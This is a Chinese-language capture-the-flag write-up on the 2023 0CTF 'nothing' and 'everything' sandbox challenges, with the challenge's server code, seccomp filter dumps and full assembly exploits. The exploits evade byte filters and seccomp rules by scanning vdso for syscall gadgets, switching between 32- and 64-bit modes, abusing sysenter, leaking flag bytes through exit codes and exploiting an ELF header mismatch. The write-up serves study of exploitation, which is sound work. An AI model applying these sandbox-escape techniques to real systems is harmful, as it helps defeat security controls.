def proof_of_work(sec = 10):
# From 0CTF/TCTF 2021
p = gmpy2.next_prime(random.getrandbits(512))
q = gmpy2.next_prime(random.getrandbits(512))
n = p*q
c = 2900000
t = c*sec + random.randint(0,c)
print('Show me your computation:')
print(f'2^(2^{t}) mod {n} = ?')
print('Your answer: ', end='')
try:
sol = int(sys.stdin.readline())
phi = (p-1)*(q-1)
u = pow(2, t, phi)
w = pow(2, u, n)
if w == sol:
print('Correct!')
return True
else:
print('Wrong Answer!')
exit()
except ValueError:
print('Invalid Input!')
exit()

def check_bytes(data, b):
p = -1
while True:
p = data.find(b, p+1)
if p == -1:
return True
elif p & 0xfff == 0 or p & 0xfff == 0xfff:
return False

def check_segments(elf):
for seg in elf.iter_segments():
if seg.header.p_filesz > 0x10000 or seg.header.p_memsz > 0x10000:
print('Segment too large')
return False
elif seg.header.p_type == 'PT_INTERP' or seg.header.p_type == 'PT_DYNAMIC':
print('No dynamic link')
return False
elif seg.header.p_type == 'PT_LOAD' and seg.header.p_flags & P_FLAGS.PF_W and seg.header.p_flags & P_FLAGS.PF_X:
print('W^X')
return False
elif seg.header.p_type == 'PT_GNU_STACK' and seg.header.p_flags & P_FLAGS.PF_X:
print('No executable stack')
return False

return True

def check_elf(data):
if len(data) < 0x40:
print('Incomplete ELF Header')
return False

if not data.startswith(b'\x7fELF\x02\x01\x01' + b'\x00'*9):
print('Invalid ELF Magic')
return False

if b'\xcd\x80' in data or b'\x0f\x05' in data:
print('Bad Instruction')
return False

if not check_bytes(data, b'\xcd') or not check_bytes(data, b'\x80') or not check_bytes(data, b'\x0f') or not check_bytes(data, b'\x05'):
print('Bad Instruction')
return False

elf = ELFFile(BytesIO(data))
if ((elf.header.e_type != 'ET_EXEC' and elf.header.e_type != 'ET_DYN')
or elf.header.e_version != 'EV_CURRENT'
or elf.header.e_ehsize != 0x40
or elf.header.e_phoff != 0x40
or elf.header.e_phnum <= 0
or elf.header.e_phnum >= 100):
print('Bad ELF Header')
return False

return check_segments(elf)

def main():
try:
size = int(input('Size of your ELF: '))
except:
print('Invalid size!')
return
if size <= 0 or size > 0x10000:
print('Bad size!')
return

print('ELF File:')
try:
data = sys.stdin.buffer.read(size)
except:
print('Invalid file data')
return
if len(data) != size:
print('Incomplete file data')
return

print('Received: %d bytes' % len(data))
if check_elf(data):
filename = sha3_256(data).hexdigest()
print(f'File Hash: {filename}')
path = f'./data/{filename}'
if os.path.exists(path):
os.unlink(path)
open(path, 'wb').write(data)
os.chmod(path, 0o555)
try:
p = subprocess.Popen(['docker', 'run', '-i', '--rm', '-v', f'{path}:/chroot/{filename}', 'tctf/launcher64:2023', filename], stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
p.wait()
print('Return status: %d' % p.returncode)
if p.returncode == 137:
print('Output:')
sys.stdout.buffer.write(p.stdout.read())
return
except:
print('Something went wrong!')

if __name__ == '__main__':
if proof_of_work():
main()
print('Bye!')

不同:

  • 禁止段表项数大于100
  • 禁止GNU_STACK段有x权限

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1b 0xc000003e if (A != ARCH_X86_64) goto 0029
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x22 0xffffffff if (A != 0xffffffff) goto 0039
0005: 0x15 0x20 0x00 0x00000003 if (A == close) goto 0038
0006: 0x15 0x1f 0x00 0x0000000b if (A == munmap) goto 0038
0007: 0x15 0x1e 0x00 0x0000000c if (A == brk) goto 0038
0008: 0x15 0x1d 0x00 0x0000003c if (A == exit) goto 0038
0009: 0x15 0x1c 0x00 0x000000e7 if (A == exit_group) goto 0038
0010: 0x15 0x00 0x04 0x00000009 if (A != mmap) goto 0015
0011: 0x20 0x00 0x00 0x00000024 A = prot >> 32 # mmap(addr, len, prot, flags, fd, pgoff)
0012: 0x15 0x00 0x1a 0x00000000 if (A != 0x0) goto 0039
0013: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0014: 0x15 0x17 0x18 0x00000002 if (A == 0x2) goto 0038 else goto 0039
0015: 0x15 0x00 0x04 0x0000003b if (A != execve) goto 0020
0016: 0x20 0x00 0x00 0x00000014 A = filename >> 32 # execve(filename, argv, envp)
0017: 0x15 0x00 0x15 0x00007fff if (A != 0x7fff) goto 0039
0018: 0x20 0x00 0x00 0x00000010 A = filename # execve(filename, argv, envp)
0019: 0x15 0x12 0x13 0xffffefe5 if (A == 0xffffefe5) goto 0038 else goto 0039
0020: 0x15 0x00 0x12 0x00000002 if (A != open) goto 0039
0021: 0x20 0x00 0x00 0x00000014 A = filename >> 32 # open(filename, flags, mode)
0022: 0x15 0x00 0x10 0x00000000 if (A != 0x0) goto 0039
0023: 0x20 0x00 0x00 0x00000010 A = filename # open(filename, flags, mode)
0024: 0x15 0x00 0x0e 0x00031337 if (A != 0x31337) goto 0039
0025: 0x20 0x00 0x00 0x0000001c A = flags >> 32 # open(filename, flags, mode)
0026: 0x15 0x00 0x0c 0x00000000 if (A != 0x0) goto 0039
0027: 0x20 0x00 0x00 0x00000018 A = flags # open(filename, flags, mode)
0028: 0x15 0x09 0x0a 0x00000000 if (A == 0x0) goto 0038 else goto 0039
0029: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0039
0030: 0x20 0x00 0x00 0x00000000 A = sys_number
0031: 0x15 0x06 0x00 0x00000001 if (A == exit) goto 0038
0032: 0x15 0x05 0x00 0x00000003 if (A == read) goto 0038
0033: 0x15 0x04 0x00 0x00000004 if (A == write) goto 0038
0034: 0x15 0x03 0x00 0x0000002d if (A == brk) goto 0038
0035: 0x15 0x02 0x00 0x0000005a if (A == mmap) goto 0038
0036: 0x15 0x01 0x00 0x0000005b if (A == munmap) goto 0038
0037: 0x15 0x00 0x01 0x000000fc if (A != exit_group) goto 0039
0038: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0039: 0x06 0x00 0x00 0x00000000 return KILL
  • 64位
    • mmap只写段
    • open &filename == 0x31337
  • 32位:read,write,mmap

sysenter

顺着exp捋一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
; compile with: nasm -f elf64 exp.s -o exp.o && ld exp.o -e _start -o exp -T linker.ld

global _start
section .text exec
BITS 32

; align 0x1000
vdso_landing:
; sysenter will use sysexit to return to some place in vsdo
; because is in 32bit, high 32bit will be clear
; we setup a soft landing place at the start of elf
; then mmap elf to vdso address
times 4096 db 0x90 ; nop padding
pop ebp
pop edx
pop ecx
ret

; lea esp, [stack]
; mov esp, stack

retf_to_64:
push 0x33 ; cs
push edi ; ip
retf ; jump to edi (64bit)

_sysenter:
push ecx ; push ecx
push edx ; push edx
push ebp ; push ebp
mov ebp, esp
sysenter

start_32:
mmap_elf_to_vdso:
push 0x1000 ; off: 0x1000 : .text start
push 4 ; fd: 4, elf file
push 0x11 ; flags: MAP_FIXED | MAP_SHARED
push 5 ; prot: RX
push 0x4000 ; length: elf size
push edx ; addr: vdso return addr && elf base
mov ebx, esp
mov eax, 0x5a ; mmap
call _sysenter
read_flag:
mov eax, 3 ; SYS_read (32bit)
mov ebx, 3 ; fd: flag
mov ecx, 0x31337 ; buf
mov edx, 0x1000 ; count
call _sysenter
write_flag_to_stdout:
mov edx, eax ; count
mov eax, 4 ; SYS_write (32bit)
mov ebx, 1 ; fd: STDOUT
mov ecx, 0x31337 ; buf
call _sysenter
exit_137:
mov eax, 1 ; SYS_exit (32bit)
mov ebx, 137 ; error_code
call _sysenter

BITS 64

; copy string at rsi to rdi, no return value
strcpy:
cld
cpy1:
lodsb
stosb
test al,al
jne cpy1
ret

retf_to_32:
; switch to 32 bit
push 0x23 ; cs
push rdi ; ip
retfq ; jump to rdi

_start:
find_elf_name:
mov r13, [rsp+8] ; argv[0]

; find vdso address on stack
mov rdi, rsp
find_vdso_l1:
cmp QWORD [rdi],0x21
je find_vdso_l2
add rdi,0x8
jmp find_vdso_l1
find_vdso_l2:
mov r15, QWORD [rdi+0x8] ; r15 store vdso address, will be page aligned
mov rax, r15
; search for `syscall; ret` in vdso
find_syscall_ret_l1:
cmp BYTE [rax],0xf
jne find_syscall_ret_l2
cmp BYTE [rax+0x1],0x5
jne find_syscall_ret_l2
cmp BYTE [rax+0x2],0x31
je find_syscall_ret_l3
find_syscall_ret_l2:
inc rax
jmp find_syscall_ret_l1
find_syscall_ret_l3:
mov r14, rax ; r14: syscall; ret


open_flag:
mov edi, 0x31337 ; ld script will ensure 0x31337 is mapped and RW
lea rsi, [flag]
call strcpy

mov edi, 0x31337
xor rsi, rsi
mov eax, 2
call r14 ; open("flag", 0) -> fd 3

open_elf:
mov edi, 0x31337 ; ld script will ensure 0x31337 is mapped and RW
mov rsi, r13
call strcpy

mov edi, 0x31337
xor rsi, rsi
mov eax, 2
call r14 ; open("ELF_FILE", 0) -> fd 4
; enter 32 bit
mov edx, r15d ; clear high 32 bit vdso addr
mov rsp, stack
mov rdi, start_32
call retf_to_32

flag: db "flag", 0
message: db "test output!!!!!", 0
sc: db 0x90, 0x90
sc_len: dq 2
section .bss noexec
align 16
pad: resb 0x1000
stack: resb 0x1000

跳来跳去的很乱,按标签标记

  • _start

    在envp中找正在执行的elf的路径(r13),在vdso中找syscall(r14)

  • open_flag

    • 由于open需要filename地址为0x31337,所以调用strcpy将flag字符串复制到0x31337

      1
      2
      3
      4
      5
      6
      7
      8
      strcpy:
      cld ; 将方向标志位(DF)清零,字符串处理指令递增地址
      cpy1:
      lodsb ; 加载字节,将字节从源地址加载到累加器 AL 中
      stosb ; 存储字节,将累加器 AL 中的字节存储到目的地址
      test al,al ; 遇到空字节结束
      jne cpy1
      ret
    • 打开flag

    • 切换至32位,编译时预留好了rw权限的栈,切换完成后执行start_32

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
          mov     edx, r15d ; clear high 32 bit vdso addr
      mov rsp, stack
      mov rdi, start_32

      ……

      retf_to_32:
      ; switch to 32 bit
      push 0x23 ; cs
      push rdi ; ip
      retfq ; jump to rdi

      这时vdso的低32位地址已经被保存到了edx中

  • start_32

    • 利用sysenter将当前elf文件mmap到vdso低32位地址处,因为sysenter返回后会回到vdso return address的低32位地址(6个参数栈传参)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      _sysenter:
      push ecx ; push ecx
      push edx ; push edx
      push ebp ; push ebp
      mov ebp, esp
      sysenter

      start_32:
      mmap_elf_to_vdso:
      push 0x1000 ; off: 0x1000 : .text start
      push 4 ; fd: 4, elf file
      push 0x11 ; flags: MAP_FIXED | MAP_SHARED
      push 5 ; prot: RX
      push 0x4000 ; length: elf size
      push edx ; addr: vdso return addr && elf base
      mov ebx, esp
      mov eax, 0x5a ; mmap
      call _sysenter

      跑飞哩~

      着陆!

      1
      2
      3
      4
      5
      6
      vdso_landing:
      times 4096 db 0x90 ; nop padding
      pop ebp
      pop edx
      pop ecx
      ret
    • 然后就是rw然后退出

再重新看一下linker.ld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SECTIONS

{

. = 0x2f000;

.text : { *(.text) }

. = 0x31000;

.data : { *(.data) }

.bss : { *(.bss) }

}

需要

  • open时&filename == 0x31337,所以需要调整加载基地址达到这个要求
  • 之后要把elf映射到vdso低地址处,所以代码段在较低的位置

侧信道

server.py会输出程序返回值,所以打开flag后mmap到内存里,exit flag的每个字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SECTIONS

{

. = 0x2f000;

.text : { *(.text) }

. = 0x31000;

.bss : { *(.bss) }

.data : { *(.data) }

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[BITS 64]
; compile with: nasm -f elf64 exp.s -o exp.o && ld exp.o -e _start -o exp -T linker.ld
global _start
section .text exec
_start:
; try to find vdso
; mov rcx, 0
mov rbx, rsp
get_vdso_base:
add rbx, 8
mov r15, [rbx]
cmp r15, 0x21
jne get_vdso_base
mov rbx, [rbx+8]

get_syscall:
add rbx, 1
mov r15, [rbx]
and r15, 0xffffff
cmp r15, 0xc3050e
jl get_syscall
cmp r15, 0xc30510
jg get_syscall
; save syscall
mov r15, rbx
; open
mov rax, 2
mov rdi, 0x31337
mov rsi, 0
mov rdx, 0
call r15
; mmap
mov r8, rax
mov r9, 0
mov r10, 2
mov rax, 9
mov rdi, 0xdead000
mov rsi, 0x1000
mov rdx, 2
call r15
mov rdi, [0xdead000] ; 0xdead0001!!3
; mov rdi, 137
mov rax, 0x3c
call r15

section .bss noexec
pad: resb 0x337

section .data noexec
flag: db "flag", 0
  • 找vdso

  • 找syscall

  • open,mmap,然后exit flag每个字节

2023 0CTF everything

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/python3 -u

import os, sys, random, subprocess, gmpy2
from io import BytesIO
from hashlib import sha3_256
from elftools.elf.elffile import ELFFile
from elftools.elf.constants import P_FLAGS

os.chdir(os.path.dirname(__file__))

def proof_of_work(sec = 10):
# From 0CTF/TCTF 2021 "checkin"
p = gmpy2.next_prime(random.getrandbits(512))
q = gmpy2.next_prime(random.getrandbits(512))
n = p*q
c = 2900000
t = c*sec + random.randint(0,c)
print('Show me your computation:')
print(f'2^(2^{t}) mod {n} = ?')
print('Your answer: ', end='')
try:
sol = int(sys.stdin.readline())
phi = (p-1)*(q-1)
u = pow(2, t, phi)
w = pow(2, u, n)
if w == sol:
print('Correct!')
return True
else:
print('Wrong Answer!')
exit()
except ValueError:
print('Invalid Input!')
exit()

def check_bytes(data, b):
p = -1
while True:
p = data.find(b, p+1)
if p == -1:
return True
elif p & 0xfff == 0 or p & 0xfff == 0xfff:
return False

def check_segments(elf):
for seg in elf.iter_segments():
if seg.header.p_filesz > 0x10000 or seg.header.p_memsz > 0x10000:
print('Segment too large')
return False
elif seg.header.p_type == 'PT_INTERP' or seg.header.p_type == 'PT_DYNAMIC':
print('No dynamic link')
return False
elif seg.header.p_type == 'PT_LOAD' and seg.header.p_flags & P_FLAGS.PF_W and seg.header.p_flags & P_FLAGS.PF_X:
print('W^X')
return False
elif seg.header.p_type == 'PT_GNU_STACK' and seg.header.p_flags & P_FLAGS.PF_X:
print('No executable stack')
return False

return True

def check_elf(data):
if len(data) < 0x34:
print('Incomplete ELF Header')
return False

if not data.startswith(b'\x7fELF\x01\x01\x01' + b'\x00'*9):
print('Invalid ELF Magic')
return False

if b'\xcd\x80' in data or b'\x0f\x05' in data:
print('Bad Instruction')
return False

if not check_bytes(data, b'\xcd') or not check_bytes(data, b'\x80') or not check_bytes(data, b'\x0f') or not check_bytes(data, b'\x05'):
print('Bad Instruction')
return False

elf = ELFFile(BytesIO(data))
if ((elf.header.e_type != 'ET_EXEC' and elf.header.e_type != 'ET_DYN')
or elf.header.e_version != 'EV_CURRENT'
or elf.header.e_ehsize != 0x34
or elf.header.e_phoff != 0x34
or elf.header.e_phnum <= 0
or elf.header.e_phnum >= 100):
print('Bad ELF Header')
return False

return check_segments(elf)

def main():
try:
size = int(input('Size of your ELF: '))
except:
print('Invalid size!')
return
if size <= 0 or size > 0x10000:
print('Bad size!')
return

print('ELF File:')
try:
data = sys.stdin.buffer.read(size)
except:
print('Invalid file data')
return
if len(data) != size:
print('Incomplete file data')
return

print('Received: %d bytes' % len(data))
if check_elf(data):
filename = sha3_256(data).hexdigest()
print(f'File Hash: {filename}')
path = f'./data/{filename}'
if os.path.exists(path):
os.unlink(path)
open(path, 'wb').write(data)
os.chmod(path, 0o555)
try:
p = subprocess.Popen(['docker', 'run', '-i', '--rm', '-v', f'{path}:/chroot/{filename}', 'tctf/launcher32:2023', filename], stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL)
p.wait()
print('Return status: %d' % p.returncode)
if p.returncode == 137:
print('Output:')
sys.stdout.buffer.write(p.stdout.read())
return
except:
print('Something went wrong!')

if __name__ == '__main__':
if proof_of_work():
main()
print('Bye!')

比nothing多了一个通过e_ident要求32位的判断

利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1b 0xc000003e if (A != ARCH_X86_64) goto 0029
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x22 0xffffffff if (A != 0xffffffff) goto 0039
0005: 0x15 0x20 0x00 0x00000003 if (A == close) goto 0038
0006: 0x15 0x1f 0x00 0x0000000b if (A == munmap) goto 0038
0007: 0x15 0x1e 0x00 0x0000000c if (A == brk) goto 0038
0008: 0x15 0x1d 0x00 0x0000003c if (A == exit) goto 0038
0009: 0x15 0x1c 0x00 0x000000e7 if (A == exit_group) goto 0038
0010: 0x15 0x00 0x04 0x00000009 if (A != mmap) goto 0015
0011: 0x20 0x00 0x00 0x00000024 A = prot >> 32 # mmap(addr, len, prot, flags, fd, pgoff)
0012: 0x15 0x00 0x1a 0x00000000 if (A != 0x0) goto 0039
0013: 0x20 0x00 0x00 0x00000020 A = prot # mmap(addr, len, prot, flags, fd, pgoff)
0014: 0x15 0x17 0x18 0x00000002 if (A == 0x2) goto 0038 else goto 0039
0015: 0x15 0x00 0x04 0x0000003b if (A != execve) goto 0020
0016: 0x20 0x00 0x00 0x00000014 A = filename >> 32 # execve(filename, argv, envp)
0017: 0x15 0x00 0x15 0x00007ffd if (A != 0x7ffd) goto 0039
0018: 0x20 0x00 0x00 0x00000010 A = filename # execve(filename, argv, envp)
0019: 0x15 0x12 0x13 0x20088750 if (A == 0x20088750) goto 0038 else goto 0039
0020: 0x15 0x00 0x12 0x00000002 if (A != open) goto 0039
0021: 0x20 0x00 0x00 0x00000014 A = filename >> 32 # open(filename, flags, mode)
0022: 0x15 0x00 0x10 0x00000013 if (A != 0x13) goto 0039
0023: 0x20 0x00 0x00 0x00000010 A = filename # open(filename, flags, mode)
0024: 0x15 0x00 0x0e 0x37331337 if (A != 0x37331337) goto 0039
0025: 0x20 0x00 0x00 0x0000001c A = flags >> 32 # open(filename, flags, mode)
0026: 0x15 0x00 0x0c 0x00000000 if (A != 0x0) goto 0039
0027: 0x20 0x00 0x00 0x00000018 A = flags # open(filename, flags, mode)
0028: 0x15 0x09 0x0a 0x00000000 if (A == 0x0) goto 0038 else goto 0039
0029: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0039
0030: 0x20 0x00 0x00 0x00000000 A = sys_number
0031: 0x15 0x06 0x00 0x00000001 if (A == write) goto 0038
0032: 0x15 0x05 0x00 0x00000003 if (A == close) goto 0038
0033: 0x15 0x04 0x00 0x00000004 if (A == stat) goto 0038
0034: 0x15 0x03 0x00 0x0000002d if (A == recvfrom) goto 0038
0035: 0x15 0x02 0x00 0x0000005a if (A == chmod) goto 0038
0036: 0x15 0x01 0x00 0x0000005b if (A == fchmod) goto 0038
0037: 0x15 0x00 0x01 0x000000fc if (A != ioprio_get) goto 0039
0038: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0039: 0x06 0x00 0x00 0x00000000 return KILL

open的filename要求的地址变了

e_machine

wrapper.py判断32位是用的e_ident,但Linux运行时使用e_machine判断是32位还是64位,所以编一个64位的程序改一下e_ident就行,但这样gdb调不了IDA也反编译不了:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
global      _start
section .text exec
BITS 32

; align 0x1000
vdso_landing:
; sysenter will use sysexit to return to some place in vsdo
; because is in 32bit, high 32bit will be clear
; we setup a soft landing place at the start of elf
; then mmap elf to vdso address
times 4096 db 0x90 ; nop padding
pop ebp
pop edx
pop ecx
ret

; lea esp, [stack]
; mov esp, stack

retf_to_64:
push 0x33 ; cs
push edi ; ip
retf ; jump to edi (64bit)

_sysenter:
push ecx ; push ecx
push edx ; push edx
push ebp ; push ebp
mov ebp, esp
sysenter

start_32:
mmap_elf_to_vdso:
push 0x1000 ; off: 0x1000 : .text start
push 4 ; fd: 4, elf file
push 0x11 ; flags: MAP_FIXED | MAP_SHARED
push 5 ; prot: RX
push 0x4000 ; length: elf size
push edx ; addr: vdso return addr && elf base
mov ebx, esp
mov eax, 0x5a ; mmap
call _sysenter
read_flag:
mov eax, 3 ; SYS_read (32bit)
mov ebx, 3 ; fd: flag
mov ecx, pad ; buf
mov edx, 0x1000 ; count
call _sysenter
write_flag_to_stdout:
mov edx, eax ; count
mov eax, 4 ; SYS_write (32bit)
mov ebx, 1 ; fd: STDOUT
mov ecx, pad ; buf
call _sysenter
exit_137:
mov eax, 1 ; SYS_exit (32bit)
mov ebx, 137 ; error_code
call _sysenter

BITS 64

; copy string at rsi to rdi, no return value
strcpy:
cld
cpy1:
lodsb
stosb
test al,al
jne cpy1
ret

retf_to_32:
; switch to 32 bit
push 0x23 ; cs
push rdi ; ip
retfq ; jump to rdi

_start:
find_elf_name:
mov r13, [rsp+8] ; argv[0]

; find vdso address on stack
mov rdi, rsp
find_vdso_l1:
cmp QWORD [rdi],0x21
je find_vdso_l2
add rdi,0x8
jmp find_vdso_l1
find_vdso_l2:
mov r15, QWORD [rdi+0x8] ; r15 store vdso address, will be page aligned
mov rax, r15
; search for `syscall; ret` in vdso
find_syscall_ret_l1:
cmp BYTE [rax],0xf
jne find_syscall_ret_l2
cmp BYTE [rax+0x1],0x5
jne find_syscall_ret_l2
cmp BYTE [rax+0x2],0x31
je find_syscall_ret_l3
find_syscall_ret_l2:
inc rax
jmp find_syscall_ret_l1
find_syscall_ret_l3:
mov r14, rax ; r14: syscall; ret


mmap_flag:
mov rax, 0x9
mov rdi, 0x1337331337
mov rsi, 0x1000
mov rdx, 2
mov r10, 0x22
mov r8, 0
mov r9, 0
call r14 ; call syscall
open_flag:
mov rdi, 0x1337331337 ; ld script will ensure 0x31337 is mapped and RW
lea rsi, [flag]
call strcpy

mov rdi, 0x1337331337
xor rsi, rsi
mov eax, 2
call r14 ; open("flag", 0) -> fd 3

open_elf:
mov rdi, 0x1337331337 ; ld script will ensure 0x31337 is mapped and RW
mov rsi, r13
call strcpy

mov rdi, 0x1337331337
xor rsi, rsi
mov eax, 2
call r14 ; open("ELF_FILE", 0) -> fd 4
; enter 32 bit
mov edx, r15d ; clear high 32 bit vdso addr
mov rsp, stack
mov rdi, start_32
call retf_to_32

flag: db "flag", 0
message: db "test output!!!!!", 0
sc: db 0x90, 0x90
sc_len: dq 2
section .bss noexec
align 16
pad: resb 0x1000
stack: resb 0x1000

filename地址直接mmap了

TODO

  • 栈上有什么东西(envp,auxv……),链接装载与库,乐
  • 程序启动,执行程序的内存映射和权限控制什么的
  • 系统调用(有点忘了用户态和内核态切换的过程了(ˉ▽ˉ;)…)

2023 0CTF 无中生有系列
http://akaieurus.github.io/2024/01/21/有即是无无即是有/
作者
Eurus
发布于
2024年1月21日
许可协议